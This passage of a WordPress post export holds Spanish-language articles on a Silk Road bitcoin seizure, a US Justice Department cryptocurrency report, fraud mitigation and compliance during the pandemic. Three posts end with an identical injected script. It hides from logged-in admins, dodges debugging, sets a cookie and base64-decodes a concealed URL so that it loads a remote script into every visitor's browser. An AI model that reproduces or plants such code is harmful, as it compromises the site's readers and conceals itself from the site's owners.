https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del 